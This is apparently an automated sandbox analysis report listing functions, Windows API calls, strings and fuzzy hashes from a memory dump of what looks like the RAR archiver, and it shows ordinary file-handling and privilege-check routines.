Opcode ID: fa1b4f4939311264a597a3e156d3f94e3144e33e257b2b707d9ae949dbaf0abe
Instruction ID: 1c256a994f752dad06e7211b1cfcf683460a7e75b5e12f4935db36ec70493e80
Opcode Fuzzy Hash: fa1b4f4939311264a597a3e156d3f94e3144e33e257b2b707d9ae949dbaf0abe
Instruction Fuzzy Hash: E921D532A2864282F790DB24E45537BB3A1EF89744F505075DA2E866D8EF3ED05F8B00

Function 00007FF6FAA3E21C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,?,00000001,?,00007FF6FAA22014), ref: 00007FF6FAA3E298
FindClose.KERNEL32(?,?,?,00000001,?,00007FF6FAA22014), ref: 00007FF6FAA3E2AB
CreateFileW.KERNEL32(?,?,?,00000001,?,00007FF6FAA22014), ref: 00007FF6FAA3E2F7

Part of subcall function 00007FF6FAA3EF50: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6FAA3EE47), ref: 00007FF6FAA3EF73
Part of subcall function 00007FF6FAA3EF50: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,00007FF6FAA3EE47), ref: 00007FF6FAA3EF84
Part of subcall function 00007FF6FAA3EF50: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6FAA3EFA7
Part of subcall function 00007FF6FAA3EF50: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6FAA3EFCA
Part of subcall function 00007FF6FAA3EF50: GetLastError.KERNEL32 ref: 00007FF6FAA3EFD4
Part of subcall function 00007FF6FAA3EF50: CloseHandle.KERNEL32 ref: 00007FF6FAA3EFE7

DeviceIoControl.KERNEL32 ref: 00007FF6FAA3E357
CloseHandle.KERNEL32(?,?,?,00000001,?,00007FF6FAA22014), ref: 00007FF6FAA3E362

Strings

SeBackupPrivilege, xrefs: 00007FF6FAA3E27E

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: Close$FileFindHandleProcessToken$AdjustControlCreateCurrentDeviceErrorFirstLastLookupOpenPrivilegePrivilegesValue
String ID: SeBackupPrivilege
API String ID: 3094086963-2429070247
Opcode ID: 6b1f5dc95f58b75a03985b82b44585fe4ffe7301fcc115945b13fd181dcb0710
Instruction ID: cc108312d172db53487d9d71f78b27676038df8b3fdb18a970696c542dbd71bc
Opcode Fuzzy Hash: 6b1f5dc95f58b75a03985b82b44585fe4ffe7301fcc115945b13fd181dcb0710
Instruction Fuzzy Hash: B761D432A1878196EB648F21E4412F933A0FB48394F404275DBBE97AD8EF3DD15AC700

Function 00007FF6FAA5AF0C Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 427COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF6FAA5AFA0

Part of subcall function 00007FF6FAA6B6D0: Sleep.KERNEL32(?,?,?,?,00007FF6FAA3CBED,?,00000000,?,00007FF6FAA67A8C), ref: 00007FF6FAA6B730

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6FAA5B185
new.LIBCMT ref: 00007FF6FAA5B18F

Strings

%ls%0*u.rev, xrefs: 00007FF6FAA5B170
, xrefs: 00007FF6FAA5B2B6

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: Sleepswprintf
String ID: $%ls%0*u.rev
API String ID: 407366315-3491873314
Opcode ID: cf0b1d2e1f3f42edb60452bbb24115177953f6343aa4cee769ccba7d12699e54
Instruction ID: e9d18068532cb2ce1d677239b789344c092e67281d46ba9707ed636ea2a608b6
Opcode Fuzzy Hash: cf0b1d2e1f3f42edb60452bbb24115177953f6343aa4cee769ccba7d12699e54
Instruction Fuzzy Hash: 73020632A046928AEB20DF29E4442ADB7A5FB887C4F400175DE6D877D9FE3CE44AC704

Function 00007FF6FAA249B8 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 372COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF6FAA24BD8

Part of subcall function 00007FF6FAA6B6D0: Sleep.KERNEL32(?,?,?,?,00007FF6FAA3CBED,?,00000000,?,00007FF6FAA67A8C), ref: 00007FF6FAA6B730

Part of subcall function 00007FF6FAA41E80: CreateFileW.KERNELBASE ref: 00007FF6FAA41F4A
Part of subcall function 00007FF6FAA41E80: GetLastError.KERNEL32 ref: 00007FF6FAA41F59
Part of subcall function 00007FF6FAA41E80: CreateFileW.KERNELBASE ref: 00007FF6FAA41F99
Part of subcall function 00007FF6FAA41E80: GetLastError.KERNEL32 ref: 00007FF6FAA41FA2
Part of subcall function 00007FF6FAA41E80: SetFileTime.KERNEL32 ref: 00007FF6FAA41FF1

Strings

, xrefs: 00007FF6FAA24F01
%12s %s, xrefs: 00007FF6FAA24E8E
%s, xrefs: 00007FF6FAA24EAF
%12s %s, xrefs: 00007FF6FAA24E58

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: File$CreateErrorLast$SleepTime
String ID: %12s %s$%12s %s$ $%s
API String ID: 2965465231-221484280
Opcode ID: 7d1b61a8460396aa639ed059bb8fcb6c49571c58dc1953f366533a0ff62c8f64
Instruction ID: 7c5831cca1b5b6f4b5239e874dbf19097e9372574a609d53915a31e038c39ce2
Opcode Fuzzy Hash: 7d1b61a8460396aa639ed059bb8fcb6c49571c58dc1953f366533a0ff62c8f64
Instruction Fuzzy Hash: DBF1C022B09A4286EB60DF12D4412BE67A1FB89B84F4440B6DA6D877C5FF3DD56AC700

Function 00007FF6FAA84C10 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6FAA84C89
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6FAA84CA1
RtlVirtualUnwind.KERNEL32 ref: 00007FF6FAA84CDC
IsDebuggerPresent.KERNEL32 ref: 00007FF6FAA84D15
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6FAA84D1F
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6FAA84D2A

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 63ae987077db39b18cf30f3f9a6d60a5092a8d8f4155411af1d7abcba61ca722
Instruction ID: 14e29c9d2d192cc628f55a479940116135dc5ffc3dc13f1b948b145b73e9c106
Opcode Fuzzy Hash: 63ae987077db39b18cf30f3f9a6d60a5092a8d8f4155411af1d7abcba61ca722
Instruction Fuzzy Hash: 55315936618F8196DB60CF25E8402AE73A4FB88754F500175EAAD87B99EF3CD55ACB00

Function 00007FF6FAA3EF50 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6FAA3EE47), ref: 00007FF6FAA3EF73
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,00007FF6FAA3EE47), ref: 00007FF6FAA3EF84
LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6FAA3EFA7
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6FAA3EFCA
GetLastError.KERNEL32 ref: 00007FF6FAA3EFD4
CloseHandle.KERNEL32 ref: 00007FF6FAA3EFE7

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3398352648-0
Opcode ID: a68743f79c0fdba85814f3f902c484d9b924ee88fd84a1759920b380f60e4056
Instruction ID: acb44669ce05b53c62a5d24c61770dc4cb6a67e45e6ba3d8319ab381880f78db
Opcode Fuzzy Hash: a68743f79c0fdba85814f3f902c484d9b924ee88fd84a1759920b380f60e4056
Instruction Fuzzy Hash: 4111843261874186E7908F25F44156BB3B4FB88BC0F544035EA9E83AA8EF3DD01ACB40

Function 00007FF6FAA242E0 Relevance: 6.3, APIs: 4, Instructions: 344COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FAA272C4: new.LIBCMT ref: 00007FF6FAA273DE

Part of subcall function 00007FF6FAA28010: SetLastError.KERNEL32 ref: 00007FF6FAA2803D

new.LIBCMT ref: 00007FF6FAA2448C
new.LIBCMT ref: 00007FF6FAA244C5
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6FAA24573
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6FAA24584

Part of subcall function 00007FF6FAA3CA40: _CxxThrowException.LIBVCRUNTIME ref: 00007FF6FAA3CEDE

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: ExceptionThrow$ErrorLaststd::bad_alloc::bad_alloc
String ID:
API String ID: 3116915952-0
Opcode ID: 3e455452d26091372e3f028aefc06a1504c9ecf714524aafa6be1edd61abc305
Instruction ID: 17aa7daf4999c733bf0137e0e5145af988b0c7fb54d7af0a48a0a42f6ce799da
Opcode Fuzzy Hash: 3e455452d26091372e3f028aefc06a1504c9ecf714524aafa6be1edd61abc305
Instruction Fuzzy Hash: 6FE18622A18A8682EB20DF26D4505FD63A5FF85784F4540B2DE6D877D6EE3CD51BC700

Function 00007FF6FAA43A70 Relevance: 6.1, APIs: 4, Instructions: 74fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,00007FF6FAA411B0,?,?,?,00000000,?,?,00007FF6FAA3F30F,00000000,00007FF6FAA26380,?,00007FF6FAA22EC8), ref: 00007FF6FAA43AC4
CreateFileW.KERNEL32(?,?,?,00007FF6FAA411B0,?,?,?,00000000,?,?,00007FF6FAA3F30F,00000000,00007FF6FAA26380,?,00007FF6FAA22EC8), ref: 00007FF6FAA43B0A
DeviceIoControl.KERNEL32 ref: 00007FF6FAA43B55
CloseHandle.KERNEL32(?,?,?,00007FF6FAA411B0,?,?,?,00000000,?,?,00007FF6FAA3F30F,00000000,00007FF6FAA26380,?,00007FF6FAA22EC8), ref: 00007FF6FAA43B60

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: CreateFile$CloseControlDeviceHandle
String ID:
API String ID: 998109204-0
Opcode ID: eff6c290fb367c5b76febf0d76c2ae076eb862a10f6af346eafb357c39462c7d
Instruction ID: 8106b985007448831e7e14a42ee9f9faa3450a5ffa3c58e1e86dfe40760be2d2
Opcode Fuzzy Hash: eff6c290fb367c5b76febf0d76c2ae076eb862a10f6af346eafb357c39462c7d
Instruction Fuzzy Hash: 90317232618B8186E7608F51B44469AB7A4FB887F4F110235EEAD53BD8EF3DD55A8B00

Function 00007FF6FAA28884 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 324COMMON

Download Yara Rule

Strings

CMT, xrefs: 00007FF6FAA28D2A

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID:
String ID: CMT
API String ID: 0-2756464174
Opcode ID: b4ab7884751323d34667fa1b193a3ce4b166b4df9b755dd49a4274d25c618ef0
Instruction ID: 8be619f76e39a1cad9e14080c3e766096d2dacf26fda80d0df70dd49fa8257a2
Opcode Fuzzy Hash: b4ab7884751323d34667fa1b193a3ce4b166b4df9b755dd49a4274d25c618ef0
Instruction Fuzzy Hash: 9BD1B462A1858281EB25DF26D8501BD63E1FF89B80F4445B2EA6E877D5EF3CF55AC300

Function 00007FF6FAA886D4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FAA88704

Part of subcall function 00007FF6FAA84E3C: GetCurrentProcess.KERNEL32(00007FF6FAA89CC5), ref: 00007FF6FAA84E69

Strings

*?, xrefs: 00007FF6FAA8872B
., xrefs: 00007FF6FAA88B24

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: CurrentProcess_invalid_parameter_noinfo
String ID: *?$.
API String ID: 2518042432-3972193922
Opcode ID: 354f185c14a0bc8d05e3972864cc7dbacf8a132eb4984f49e6355014e857c6aa
Instruction ID: ca8376698f5876f27bc1f5c81bf8fb11261c3e6f8b993da61f0b2779fd131374
Opcode Fuzzy Hash: 354f185c14a0bc8d05e3972864cc7dbacf8a132eb4984f49e6355014e857c6aa
Instruction Fuzzy Hash: A151C162F19AD585EB10DFA298004BD67A5FB48BD8B4445B1DE6D97BC9EF3CE04A8300

Function 00007FF6FAA6B340 Relevance: 4.5, APIs: 3, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 00007FF6FAA6B39A
CheckTokenMembership.ADVAPI32 ref: 00007FF6FAA6B3B1
FreeSid.ADVAPI32 ref: 00007FF6FAA6B3C2

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: db3c1d02e190598f29aa164aeddc5f855d0a4ca8ba77325bab1d25996cb1689a
Instruction ID: f1b560dd59d50d534cfbcc58d97ccee22c5305b13dd6cdae71aee0d959bd287c
Opcode Fuzzy Hash: db3c1d02e190598f29aa164aeddc5f855d0a4ca8ba77325bab1d25996cb1689a
Instruction Fuzzy Hash: 7E112B72B146419EEB108FB5E4912AE7BB0FB48748F40153ADA9E93B58EF3CD159CB00

Function 00007FF6FAA888E0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

., xrefs: 00007FF6FAA88B24

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 85306a6c608a838791490c1dd49bdcdd65edd45efc0d28b7ac5077cdbaf18d29
Instruction ID: 41a1ad6b5b042b172ef8eb990828fe02aa6f5863a1fba8ea2b6925692293b2b7
Opcode Fuzzy Hash: 85306a6c608a838791490c1dd49bdcdd65edd45efc0d28b7ac5077cdbaf18d29
Instruction Fuzzy Hash: 5E31E922B186D145EB209E3298047AABB91BB89BE4F048371DE7C87BC5EE3CD5178700

Function 00007FF6FAA3CAFC Relevance: 3.0, APIs: 2, Instructions: 27windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,00007FF6FAA3CDE2), ref: 00007FF6FAA3CB11
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,00007FF6FAA3CDE2), ref: 00007FF6FAA3CB3B

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
